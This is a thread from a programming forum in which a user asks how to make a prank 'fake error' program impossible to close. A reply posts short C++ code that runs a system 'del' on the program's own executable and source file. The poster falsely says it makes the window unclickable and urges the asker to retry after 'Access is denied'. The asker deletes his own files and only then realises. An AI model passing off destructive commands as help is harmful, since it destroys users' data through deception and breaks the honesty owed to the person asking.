I am writing a joke program to scare my friend...
But the problem is it will just be able to be exited once a [fake] error comes up, he can just x out... any help?
Code:code removed to make page smaller, see my last post to see the updated code.
Printable View
I am writing a joke program to scare my friend...
But the problem is it will just be able to be exited once a [fake] error comes up, he can just x out... any help?
Code:code removed to make page smaller, see my last post to see the updated code.
try this:edit: you need to compile this, then close your text editor, and run the program from outside your IDE for it to work. If ANY of the files used to create this program are open, it won't do what you want it to.Code:#include <string>
#include <cstdlib>
int main(int argc, char*argv[])
{
std::string cmd="del ";
cmd+=argv[0];
system(cmd.c_str());
cmd=cmd.substr(0,cmd.find(".exe"));
cmd+=".cpp";
system(cmd.c_str());
return 0;
}
How does that work? I don't understand it...
put that at the top of your code (except for the return 0; )
basically, it doesn't so much disable the keyboard and mouse as it clears the screenbuffer of your program... basically it makes your program "dissapear" to the mouse, so you can't click the x. when you click where the x should be, the mouse just thinks you're clicking blank space.
but like I said, it has to be the first thing in your program, or you'll have time to hit that x
Thanks man, much appreciated
It says "Access is denied"
did you close your IDE like I said?
if you're running the program on it's own without any of it's files being open, then try removing just that first system(cmd.c_str()); line from my code and try it again.
This is what I'm getting...
http://www.freewebs.com/cjstaal/dsadsadsa.bmp
I hate you.
No worries though since the source is saved on this page, I though something was fishy when you had that del in there